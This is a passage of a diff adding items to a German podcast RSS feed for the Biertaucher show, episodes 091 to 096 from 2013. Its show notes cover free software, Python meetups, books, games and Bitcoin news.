+</li><li>1:25:00 Horsts ätzende Tipps für Messestandbetreuer
+</li><li>1:27:27 Florian über Vortrag: Nebenläufigkeit in Python
+</li><li>1:36:55 Gregor hat den "schlechtesten Film aller Zeiten" gesehen: Das A-Team. TV-Serien Dr. Who, Sherlock
+</li><li>1:43:28 Thomas über Italo-Western und Django
+</li><li>1:51:00 Bitcoin-News mit Andreas & Andreas
+</li><li>1:51:58 Bankkontonenraum in Zypern
+</li><li>2:07:00 neues Bicoin-Kurshoch
+</li><li>2:18:00 Bitcoin schlägt Dollar bei Google Search Trends
+</li><li>2:20:31 Interview mit <a href="http://tau-magazin.net/">TAU Magazin</a> Herausgeber Michael Nußbaumer
+</li>
+</ul>
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher096.mp3" length="121101994" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Horst und Florian waren in Chmenitz bei den Linuxtagen 2013, Gregor schläft beim schlechtesten Film der Welt im Kino ein und hört gute Podcasts, Johnny war offline, Hop war happy im Metalab, Thomas leidet unter seiner Personalpolitik. </itunes:subtitle>
+<itunes:summary>Shownotes mit Links, Bildern, Videos etc: http://goo.gl/rmu79 bzw. http://biertaucher.at
+Bitte flattern: http://flattr.com/thing/1190160/Biertaucher-Podcast-Folge-096
+</itunes:summary>
+<itunes:duration>2:48:12</itunes:duration>
+<itunes:keywords>
+Biertaucher, Podcast, 096, clt2013, Chemnitz, Linuxtage, Geany, Django, Python, Pyugat, Coding-Dojo, Kurt Gramlich, SkoleLinux, FSFE, zwanzichfuffzehn, NewsBlur, Google Reader, Feedly, Osdomotics, Haustechnik, A-Team, Bitcoin, TAU
+</itunes:keywords>
+</item>
+
+
+
+
+ <item>
+ <title>Biertaucher Folge 095</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2013:095</link>
+ <pubDate>Wed, 13 Mar 2013 17:45:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher095.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2013:095&amp;title=Biertaucher%20Folge%20095&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Gregor PRIDUN, Florian Schweikert, Hop und Horst JENS plaudern über freie Software und andere Nerd-Themen. Bitcoin News Mit Andreas PETERSSON und Andreas LEHRBAUM und Johannes. Mehr Information, Links, Bilder, Videos, Tags, Transkripte, extra-soundfiles etc. gibt es in den Shownotes: http://goo.gl/QqB0o (bzw. http://biertaucher.at ). Bitte nach Möglichkeit diesen Flattr-Link anlicken: http://flattr.com/thing/1175519/Biertaucher-Podcast-Folge-095
+
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/QqB0o">hier klicken um die Shownotes zur Folge 095</a> zu sehen</i><br></br>
+ <b>Gregor PRIDUN</b>, <b>Florian Schweikert</b>, <b>Hop</b> und <b>Horst JENS</b> plaudern über freie Software und andere Nerd-Themen. Bitcoin News mit <b>Andreas PETERSSON</b> und <b>Andreas LEHRBAUM</b> und <b>Johannes</b>.
+ <br></br>
+ Bitte Flattern: <a href="http://flattr.com/thing/1175519/Biertaucher-Podcast-Folge-095" target="_blank">
+<img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ <li>0:00:00 Grüße von Markus aus Deutschland
+</li><li>0:00:23 Hop hat <a href="http://de.wikipedia.org/wiki/Legend_of_Grimrock">Legend of Grimrock</a> gespielt (am Mac) und erinnert sich an <a href="http://en.wikipedia.org/wiki/Eye_of_the_Beholder_(video_game)">Eye of Beholder</a>
+</li><li>0:10:30 Florian hat sich <a href="http://de.wikipedia.org/wiki/Wayland_(Anzeige-Server)">Wayland X-Nachfolger</a> angeschaut (auf <a href="https://www.archlinux.org/">Arch Linux</a>) und zeigt schiefe Terminalfenster
+</li><li>0:22:29 Hop hat gelesen: <a href="http://www.amazon.de/gp/product/1603580786/ref=as_li_ss_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=1603580786&linkCode=as2&tag=spielendprogr-21">The End of Money and the Future of Civilization</a>
+</li><li>0:28:00 Credit clearing circles
+</li><li>0:33:42 Rant: Florian hat versucht ein ÖBB-Ticket per Internet zu kaufen...
+</li><li>0:40:30 Podcastempfehlung: Gregor hörte zu viele Apple-Podcasts und hört deshalb <a href="http://nerds.fm/">Nerds.fm</a> (Programmierpodcast) und <a href="http://monoxyd.de/category/dieweisheit">Der Weisheit...</a> (letzter Schluss) von <a href="http://monoxyd.de/">Monoxyd</a>
+</li><li>0:45:30 Ankündigung: Coding Dojo in der <a href="https://pyug.at/">Python User Group Austria (PyUgat)</a> am 13-3-2013 im <a href="https://metalab.at/">Metalab</a>, Python-Frauen: <a href="http://www.pyladies.com/">Pyladies</a>
+</li><li>0:52:38 Horst' Buchempfehlung: <a href="http://www.amazon.de/gp/product/0385619278/ref=as_li_ss_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=0385619278&linkCode=as2&tag=spielendprogr-21">Dodger (Terry Pratchett)</a> ( <a href="http://en.wikipedia.org/wiki/Dodger_(novel)">Wikipedia Eintrag</a> )
+</li><li>0:54:44 Hop's Ipad-Empfehlung Interactive Ipad - Scheibenwelt-App (Karte von Ankh-Morkop)
+</li><li>0:57:27 Gregor empfiehlt Android Tablet-Apps für kleine Kinder: interaktives Kinderbuch "little Red"
+</li><li>1:02:08 Meldungen: Telepolis Artikel über Kulturflatrate in Deutschland: 5,70 Euro pro Jahr, Spielgel Artikel über unnötige Verleger und Buchpreisbindung
+</li><li>1:04:50 Gimp-Magazin 3 ist online mit Vergleich Photoshop vs. Gimp
+</li><li>1:09:50 Dieter Hildebrand sucht Crowd-Sponsoren für Kabarettsendung
+</li><li>1:12:00 freies Buch: <a href="http://www.nostarch.com/xbox.htm">Hacking the X-Box</a>
+</li><li>1:13:08 Gregor hat gelesen: Neal Stevenson: <a href="http://www.amazon.de/gp/product/006147410X/ref=as_li_ss_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=006147410X&linkCode=as2&tag=spielendprogr-21">Anathem</a> , außerdem plaudern wir über Stevensson'S Barock-Cycle,
+</li><li>1:16:00 Gregor hat gelesen: <a href="http://www.amazon.de/gp/product/3423135468/ref=as_li_ss_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=3423135468&linkCode=as2&tag=spielendprogr-21">Der Kameramörder: Roman</a> und <a href="http://www.amazon.de/gp/product/3423138459/ref=as_li_ss_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=3423138459&linkCode=as2&tag=spielendprogr-21">Das bin doch ich</a>, beide von Thomas Glavinic.
+</li><li>1:22:52 Florian *lobt* (!) die Mistkübelreflektoren auf der Donauinsel (MA 48)
+</li><li>1:25:26 Bitcoin-News mit Andreas Lehrbaum und Andreas Petersson und Johannes. Johannes spricht über sein Projekt: Dokumentationsfilm über Bitcoins <a href="http://bitcointhedocumentary.org/wordpress/">Bitcoindocumentary.org</a>
+</li><li>1:35:40 Kursentwicklung, neues all-time-high
+</li>
+</ul>
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher095.mp3" length="112605407" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Podcastempfehlungen, Florian scheitert bim Fahrkartenkauf, wir rezensieren Bücher, Legend of Grimrock durchgespielt Florian spielt mit schiefen Terminalfenstern (Wayland), Bitcoin-Film </itunes:subtitle>
+<itunes:summary>Shownotes mit Links, Bildern, Videos etc: http://goo.gl/QqB0o bzw. http://biertaucher.at
+Bitte flattern: http://flattr.com/thing/1175519/Biertaucher-Podcast-Folge-095
+</itunes:summary>
+<itunes:duration>2:36:26</itunes:duration>
+<itunes:keywords>
+Biertaucher, Podcast, 095, Dodger, Terry Pratchett, Python, Wayland, Bitcoin, ÖBB, Legend of Grimrock, Monoxyd, The End of Money, Pyladies, Öbb, Kinderapps, Kulturflatrate, Buchpreisbindung, Dieter Hildebrand, Hacking the Xbox, Anathem, Thomas Glavinic
+</itunes:keywords>
+</item>
+
+
+
+ <item>
+ <title>Biertaucher Folge 094</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2013:094</link>
+ <pubDate>Tue, 05 Mar 2013 12:45:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher094.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2013:094&amp;title=Biertaucher%20Folge%20094&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Gregor PRIDUN und Horst JENS plaudern über freie Software und andere Nerd-Themen. Bitcoin News Mit Andreas PETERSSON und Andreas LEHRBAUM. Mehr Information, Links, Bilder, Videos, Tags, Transkripte, extra-soundfiles etc. gibt es in den Shownotes: http://goo.gl/I2oO4 (bzw. http://biertaucher.at ). Bitte nach Möglichkeit diesen Flattr-Link anlicken: http://flattr.com/thing/1160481/Biertaucher-Podcast-Folge-094
+
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/I2oO4">hier klicken um die Shownotes zur Folge 094</a> zu sehen</i><br></br>
+ <b>Gregor PRIDUN</b> und <b>Horst JENS</b> plaudern über freie Software und andere Nerd-Themen. Bitcoin News mit <b>Andreas PETERSSON</b> und <b>Andreas LEHRBAUM</b>.
+ <br></br>
+ Bitte Flattern: <a href="http://flattr.com/thing/1160481/Biertaucher-Podcast-Folge-094" target="_blank">
+<img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+
+ <li> 0:01:34 Mangels Martins's (nativer Kärnter) Präsenz kommentiert Gregor den Ausgang der <a href="http://orf.at/wahl/kaernten13/#mandate">Kärntner Landtagswahl</a>
+</li><li> 0:02:00 <a href="http://www.indiegogo.com/projects/scott-family-fund">Indiegogo - Kampagne für erkrankten Cyanogen Mod</a> Programmierer
+</li><li> 0:05:47 Youtube: <a href="http://www.youtube.com/user/START?feature=watch">Youtube - Geeklove</a> - Speed-dating für Nerds auf der Comic Con
+</li><li> 0:10:00 Youtube: <a href="http://www.youtube.com/user/MisterKurtRussel">Kurt Razelli</a> Sampling Videos
+</li><li> 0:12:00 Rant: <a href="http://www.theregister.co.uk/2013/02/24/linus_torvalds_rant/">Linux Thorvald ranted über Microsoft signierte Keys im Kernel</a> (Redhat, Secureboot)
+</li><li> 0:15:05 Meldung: <a href="http://link.nl.futurezone.at/50c7491021e070dffa63b64avi2u.31b/US3EEMQcnlfKRh-nAfcdc">Google+ Sign-In auf Webseiten</a>, Gregor's Twitter Account wurde gehackt, Cloud-Security
+</li><li> 0:17:07 <a href="http://www.wired.com/threatlevel/2013/03/evernote-hack-password-resets/">Evernote wurde gehackt</a>
+</li><li> 0:19:00 Buchtipp: Douglas Adams: <a href="http://www.amazon.de/gp/product/3453082303/ref=as_li_ss_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=3453082303&linkCode=as2&tag=spielendprogr-21"">Einmal Rupert und zurück</a> (Hitchhikers Guide to Galaxy), Ubuntu Festplattenverschlüsselung, Ubuntu One
+</li><li> 0:23:20 Killerspieldebatte: <a href="http://stigma-videospiele.de/wordpress/2013/02/27/hart-aber-fair-redaktion-zitat-in-keiner-weise-entstellt/">Stigma Videospiele vs. Hart aber Fair</a> Redaktion
+</li><li> 0:25:40 <a href="https://plus.google.com/100222372502879821464/posts/XBVLWdcLsRX">Electronic Arts will Micropayment einführen bei allens Spielen</a>, Gregor verspielt lieber Lebenszeit als Geld
+</li><li> 0:29:35 Vergleichsartikel bei <a href="http://www.gamestar.de/specials/spiele/3008689/free2play_mmorpgs.html">Gamestar.e über MMORPG - free2play</a>
+</li><li> 0:31:00 Game: <a href="https://play.google.com/store/apps/details?id=com.bitcomposer.NorthAndSouth">North and South</a> auf Android (US Bürgerkriegsspiel)
+</li><li> 0:32:00 Meldung: <a href="http://www.heise.de/newsticker/meldung/Lex-Google-Bundestag-beschliesst-neues-Leistungsschutzrecht-1814656.html">Deutscher Bundestag beschließt Leistungsschutzrecht</a>, Leistungsschutzrecht-konforme Suchmaschine <a href="http://www.loosr.de/">Loosr</a>
+</li><li> 0:35:20 Meldung: Österr. Archiv von Videospielen: <a href="http://gamelab.at/">Gamelab.at</a>, Spiele-News Seite <a href="http://rebell.at">Rebell.at</a> hat Flattr Button
+</li><li> 0:37:17 <a href="http://www.openeducationweek.org/events-webinars/">Open Education Week</a>
+</li><li> 0:38:00 <a href="http://derstandard.at/1362107324113/NFC-Billa-startet-kontaktloses-Bezahlen">Billa startet NFC Terminals</a>
+</li><li> 0:39:50 Horst's Beute vom solidar. Ökonomie Kongress: <a href="http://tau-magazin.net/">TAU-Magazine für Barfußpolitik</a>, <a href="http://www.amazon.de/gp/product/1453687815/ref=as_li_ss_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=1453687815&linkCode=as2&tag=spielendprogr-21">ABC's of Anarchy</a>, <a href="https://techtoolsforactivism.org/booklet">Tech Tools for Activists</a>, <a href="http://freedomboxfoundation.org/">Freedom Box</a>, <a href="http://tau-magazin.net/wp-content/uploads/2012/08/TAU01-Teresa-Text.pdf">Artikel über Gemeinschaftsgarten</a>
+</li><li> 0:53:15 <a href="http://sixgun.org/shows/linuxoutlaws">Podcast: Linux Outlaws Folge 300</a>
+</li><li> 0:55:00 <a href="http://www.ted.com/pages/prizewinner_sugata_mitra">Sugata Mitra gewinnt TED-Prize</a> und ruft auf sein School in the cloud Projekt zu unterstüzen (SOLE self organized learning enviroment)
+</li><li> 0:59:55 Fahrrad tracking Android App: <a href="http://cms.meineradspur.at/machmit.html">MeineRadspur.at</a>
+</li><li> 1:00:00 Ted_Talk: <a href="http://www.ted.com/talks/amanda_palmer_the_art_of_asking.html">Amanda Palmer: The Art of Asking</a> (Spenden für Musik)
+</li><li> 1:04:00 Bitcoin-News mit Andreas Lehrbaum und Andreas Petersson
+ </li><ul><li> 1:04:18 All-Time-Peak für einen Bitcoin: 27 Euro (34 US$)
+ </li><li> 1:14:00 Paradigmenwechsel duch Bitcoins: Geld nicht mehr bei der Bank sondern beim User
+ </li></ul>
+
+</ul>
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher094.mp3" length="59942623" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle> Linus Thorvald schimpft, Horst hustet, Gregor will weniger reden und Martin Mayr fehlt uns. </itunes:subtitle>
+<itunes:summary>Shownotes mit Links, Bildern, Videos etc: http://goo.gl/I2oO4 bzw. http://biertaucher.at
+Bitte flattern: http://flattr.com/thing/1160481/Biertaucher-Podcast-Folge-094
+</itunes:summary>
+<itunes:duration>1:34:29</itunes:duration>
+<itunes:keywords>
+Biertaucher, Podcast, 094, Geeklove, Kurt Razelli, Linus Thorvald, Evernote, Hack, Stigma Videospiele, Leistungsschutzrecht, Gamelab, Rebell, Open Education Week, NFC, TAU Magazin, A for Anarchy, Tech Tools for Acitivsts, Freedom Box, Gemeinschaftsgarten
+</itunes:keywords>
+</item>
+
+
+
+
+ <item>
+ <title>Biertaucher Folge 093</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2013:093</link>
+ <pubDate>Thu, 28 Feb 2013 12:00:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher093.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2013:093&amp;title=Biertaucher%20Folge%20093&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Gregor PRIDUN , Florian SCHWEIKERT, und Horst JENS plaudern mit Gast Thomas PERL über freie Software und andere Nerd-Themen. Bitcoin News Mit Andreas PETERSSON, Andreas LEHRBAUM und Harald Schilly. Interview mit Nikolai Georgiev. Mehr Information, Links, Bilder, Videos, Tags, Transkripte, extra-soundfiles etc. gibt es in den Shownotes: http://goo.gl/VPzSs (bzw. http://biertaucher.at ). Bitte nach Möglichkeit diesen Flattr-Link anlicken: http://flattr.com/thing/1154143/Biertaucher-Podcast-Folge-093
+
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/VPzSs">hier klicken um die Shownotes zur Folge 093</a> zu sehen</i><br></br>
+ <b>Gregor PRIDUN</b>, <b>Florian SCHWEIKERT</b>, und <b>Horst JENS</b> plaudern mit Gast <b>Thomas PERL</b> über freie Software und andere Nerd-Themen. Interview mit <b>Nikolai Georgiev</b>. Bitcoin News mit <b>Andreas PETERSSON</b>, <b>Andreas LEHRBAUM</b> und <b>Harald Schilly</b>.
+ <br></br>
+ Bitte Flattern: <a href="http://flattr.com/thing/1154143/Biertaucher-Podcast-Folge-093" target="_blank">
+<img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+
+ <li>0:00:00 Begrüßung, <a href="https://plus.google.com/u/0/109033821993797775266/about">Martin</a>'s faule Orangen Ausrede
+</li><li>0:01:35 <a href="https://plus.google.com/u/0/112888349007751740309/about">Florian</a>'s Rant über Universal-Gutscheine
+</li><li>0:03:55 <a href="https://plus.google.com/u/0/106387115146775181278/about">Thomas Perl</a> berichtet über sein <a href="https://gpodder.net/">Gpodder.net</a> Podcatcher Projekt, Python, Android
+</li><li>0:16:25 <a href="http://www.ubuntu.com/devices/phone">Ubuntu OS</a>, <a href="http://wayland.freedesktop.org/">Wayland</a>
+</li><li>0:25:50 <a href="http://kivy.org/#home">Kivy</a> (Cross-Platform python user interface)
+</li><li>0:26:52 Teaser <a href="http://www.solidarische-oekonomie.at/">Solidarische-Ökonomie Kongress</a> Interview (<a href="http://gemeinwohl.at/">Gemeinwohlökonomie</a>, <a href="https://opensourceecology.de/">Open Source Ecology Deutschland</a>)
+</li><li>0:28:51 Thomas Perl erzählt vom Podcast-Treffen mit <a href="http://metaebene.me/timpritlove/">Tim Pritlove</a> (<a href="http://podlove.org/about/">Podlove Projekt</a>), Simple Chapters (Kapitelmarken für Podcatcher), Wordpress-Plugin,
+</li><li>0:35:00 <a href="http://flattr.com/">Flattr</a> Integration in Gpodder
+</li><li>0:37:25 <a href="http://de.wikipedia.org/wiki/Opus_(Audioformat)">Opus Audiocodec</a>
+</li><li>0:45:37 <a href="https://plus.google.com/u/0/104313639177467750059/posts/JR745Dh55NG">Solarbetriebener Raspberry-Pi</a> FTP-Server
+</li><li>0:51:52 Veranstaltungshinweis: <a href="http://www.open-entry.com/osdomotics/wp/?p=172">OSDomotics Messestand</a> 16. und 17. März auf den <a href="http://chemnitzer.linux-tage.de/2013/info/">Linuxtagen Chemnitz</a>
+</li><li>0:53:11 Veranstaltungshinweis: <a href="https://ep2013.europython.eu/">Europython 2013</a> in Florenz (Juli)
+</li><li>0:54:40 Bericht vom <a href="http://pyug.at/Treffen/2013-02">Open-Stack</a> Vortrag auf dem PyUgat Treffen
+</li><li>1:05:28 Veranstaltungshinweis: <a href="http://pyug.at/Treffen/2013-03">13-3-2013 Python Coding-Dojo</a> am Pyugat Treffen
+</li><li>1:09:10 Bitcoin-Update
+</li><li>1:27:39 nächstes <a href="http://bitcoin-austria.at/wiki/Hauptseite">Bitcoin-Austria</a> Treffen im Metalab
+</li><li>1:27:55 Interview mit <a href="http://wiki.opensourceecology.de/Nikolay_Georgiev">Nikolai Georgiev</a> über <a href="http://www.solidarische-oekonomie.at/">solidarische Ökonomie-Kongress</a>, <a href="http://gemeinwohl.at/">Gemeinwohlökonomie</a>, <a href="http://www.umsonstladen.at/">Umsonstläden</a>, <a href="https://www.couchsurfing.org/">Couchsurfing</a>
+ </li>
+
+</ul>
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher093.mp3" length="65610408" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle> Johnny sucht einen Briefkasten, Gregor spielt Paranoia und installiert Linux auf einem G4, Horst spielt ThePowderToy und schaut Oh Boy im Kino, sowie jede Menge Bitcoinnews </itunes:subtitle>
+<itunes:summary>Shownotes mit Links, Bildern, Videos etc: http://goo.gl/VPzSs bzw. http://biertaucher.at
+Bitte flattern: http://flattr.com/thing/1154143/Biertaucher-Podcast-Folge-093
+</itunes:summary>
+<itunes:duration>1:43:42</itunes:duration>
+<itunes:keywords>
+ Biertaucher, Podcast, 093, Rant, Gutschein, Python, Android, Podcatcher, Gpodder, Bitlove, Ubuntu OS, Gemeinwohl Ökonomie, Kongress, Tim Pritlove, Simple Chapters, Flattr, Linuxtage Chemnitz, OSDomotics, Openstack, Bitcoin, Solidarische Ökonomie
+</itunes:keywords>
+</item>
+
+
+
+
+ <item>
+ <title>Biertaucher Folge 092</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2013:092</link>
+ <pubDate>Sat, 23 Feb 2013 08:30:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher092.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2013:092&amp;title=Biertaucher%20Folge%20092&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Gregor PRIDUN , Johnny ZWENG, und Horst JENS plaudern über freie Software und andere Nerd-Themen. Bitcoin News Mit Andreas PETERSSON, Andreas LEHRBAUM und Marcus. Mehr Information, Links, Bilder, Videos, Tags, Transkripte, extra-soundfiles etc. gibt es in den Shownotes: http://goo.gl/zkvSZ (bzw. http://biertaucher.at ). Bitte nach Möglichkeit diesen Flattr-Link anlicken: http://flattr.com/thing/1147838/Biertaucher-Podcast-Folge-092
+
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/zkvSZ">hier klicken um die Shownotes zur Folge 092</a> zu sehen</i><br></br>
+ <b>Gregor PRIDUN</b>, <b>Johnny ZWENG</b>, und <b>Horst JENS</b> plaudern über freie Software und andere Nerd-Themen. Bitcoin News mit <b>Andreas PETERSSON</b>, <b>Andreas LEHRBAUM</b> und <b>Marcus</b>.
+ <br></br>
+ Bitte Flattern: <a href="http://flattr.com/thing/1147838/Biertaucher-Podcast-Folge-092" target="_blank">
+<img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+</li><li>00:00:53 Johnny: Briefkastenerlebnis
+</li><li>00:02:55 Linux auf <a href="http://en.wikipedia.org/wiki/IBook#iBook_G4_.28.22Snow.22.29">Ibook G4</a>
+</li><li>00:15:00 <a href="http://www.cyanogenmod.org/">Cyanogenmod</a>, Android 4.2.2
+</li><li>00:22:00 <a href="http://www.openstack.org/software/">Open-Stack</a> Python
+</li><li>00:24:17 <a href="http://steamcommunity.com/linux?l=german">Steam für Linux</a>
+</li><li>00:31:05 Johnny: <a href="http://www.tweetdeck.com/">Tweetdeck</a> Fehler, <a href="https://www.bmf.gv.at/steuern/tippsfrdiearbeitneh_7636/wannistdasformularl_11749/11749.htm?q=L1i">Schmiergelder versteuern</a>
+</li><li>00:36:30 Gregor war am <a href="http://www.protestsongcontest.net/">Protestsongcontest</a>
+</li><li>00:42:00 Horst spielt <a href="http://powdertoy.co.uk/">ThePowderToy</a> (Physikspiel)
+</li><li>00:49:00 Bitcoin Casino
+</li><li>00:51:00 Projekt <a href="http://www.fairphone.com/">FairPhone</a>
+</li><li>00:54:00 Kino: <a href="http://www.ohboy.x-verleih.de/">Oh Boy</a>
+</li><li>01:01:00 Gregor: Erfahrungsbericht <a href="http://www.amazon.de/gp/product/3939212024/ref=as_li_ss_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=3939212024&linkCode=as2&tag=spielendprogr-21">Paranoia Troubleshooter: Ein satirisches Rollenspiel</a> (Amazon Link)
+</li><li>01:08:00 Bitcoin Update von Andreas, Andreas und Marcus:
+ </li><ul><li><a href="https://ssl.reddit.com/gold">Reddit Gold</a> für Bitcoin
+ </li><li><a href="http://bitvoucher.co">Mega Reseller</a> akzeptiert Bitcoin
+ </li><li>Positiver <a href="https://www.pcworld.com/article/2028299/reddit-will-accept-bitcoin-payment-for-premium-service.html">PCWorld Artikel</a>
+ </li><li>neues Bitcoin Meme: <a href="http://www.quickmeme.com/meme/3t125l/">Bitcoin user not affected"</a>
+ </li><li>ASICminer am Start: <a href="http://bitcoin.sipa.be/speed-lin.png">Hashrate</a> erstmals über 32THash/s
+ </li><li><a href="http://blockchain.info/charts/market-cap">Marktkapitalisierung</a> erstmals über 300 Mio USD
+ </li><li><a href="https://www.google.com/trends/explore#q=buy bitcoins&date=5%2F2011 23m">Google trends für "buy bitcoins"</a> auf all-time high
+ </li><li><a href="http://bitcoincharts.com/charts/mtgoxUSD#igWeeklyzm1g10zm2g25zvzcv">Mt. Gox weekly trade volume</a> auf all-time high (knapp 12 Mio USD)
+ </li><li><a href="http://bitcoincharts.com/charts/mtgoxEUR#igWeeklyztgSzm1g10zm2g25zv">mtgoxEUR</a> Kurs erstmals über 20
+ </li><li><a href="http://blockchain.info/charts/n-transactions">Number of transactions per day</a> erstmals über 60.000
+ </li><li>neuer Investor für <a href="http://bitmarket.eu">bitmarket.eu</a>
+ </li><li>neues Bitcoin hardware wallet Projekt: <a href="https://bitcointalk.org/index.php?topic=134999.0">BTChip</a>
+ </li></ul>
+</ul>
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher092.mp3" length="80457553" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle> Johnny sucht einen Briefkasten, Gregor spielt Paranoia und installiert Linux auf einem G4, Horst spielt ThePowderToy und schaut Oh Boy im Kino, sowie jede Menge Bitcoinnews </itunes:subtitle>
+<itunes:summary>Shownotes mit Links, Bildern, Videos etc: http://goo.gl/zkvSZ bzw. http://biertaucher.at
+Bitte flattern: http://flattr.com/thing/1147838/Biertaucher-Podcast-Folge-092
+</itunes:summary>
+<itunes:duration>1:51:45</itunes:duration>
+<itunes:keywords>
+Biertaucher, Podcast, 092, Briefkasten, IBook, Linux, cyanogenmod, OpenStack, Python, Steam, Tweetdeck, twitter, game, thepowdertoy, fairphone, kino, oh boy, berlin, paranoia, rollenspiel, bitcoinnews, btchip, Reddit
+</itunes:keywords>
+</item>
+
+
+
+ <item>
+ <title>Biertaucher Folge 091</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2013:091</link>
+ <pubDate>Thu, 14 Feb 2013 20:15:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher091.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2013:091&amp;title=Biertaucher%20Folge%20091&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Gregor PRIDUN , Florian SCHWEIKERT, Johnny ZWENG, Andreas PETERSSON und Horst JENS plaudern über freie Software und andere Nerd-Themen. . Mehr Information, Links, Bilder, Videos, Tags, Transkripte, extra-soundfiles etc. gibt es in den Shownotes: http://goo.gl/db4aZ (bzw. http://biertaucher.at ). Bitte nach Möglichkeit diesen Flattr-Link anlicken: http://flattr.com/thing/1137610/Biertaucher-Podcast-Folge-091
+
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/db4aZ">hier klicken um die Shownotes zur Folge 091</a> zu sehen</i><br></br>
+ <b>Gregor PRIDUN</b>, <b>Florian SCHWEIKERT</b>, <b>Johnny ZWENG</b>, <b>Andreas PETERSSON</b> und <b>Horst JENS</b> plaudern über freie Software sowie .
+ <br></br>
+ Bitte Flattern: <a href="http://flattr.com/thing/1137610/Biertaucher-Podcast-Folge-091" target="_blank">
+<img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+
+</li><li>0:01:00 untote Hausmeisterthemen: Flattr-Einnahmen, Bitcoin-Spendenadresse
+</li><li>0:02:22 Gregor kann nicht Flattern ( <a href="https://www.moneybookers.com/app/">Moneybookers</a> )
+</li><li>0:03:44 Johnnys Kreditkarte (<a href="http://www.cardcomplete.com/">Card complete</a>)wurde gesperrt, weil jemand mit seiner Karte in Australien Autoersatzteile gekauft hat
+</li><li>0:05:10 Kreditkartenhack
+</li><li>0:06:04 Andreas empfiheltBlog von David Burch Hypiriam über Zahlungsmittel, Kreditkartenfails etc.
+</li><li>0:06:50 Johnny hat sich eine NFC-taugliche Quick-card gekauft (paylive) und berichtet über Erlebnisse und Hacks. simpleypaid.com
+</li><li>0:29:48 Spenden mit Bitcoins, Transaktionsgebühr und Traffic beim Bezahlen mit Bitcoins
+</li><li>0:31:52 Bitcoins ausgeben: Pizza gegen Bitcoins (USA, Papa Johns), Megaupload-Reseller
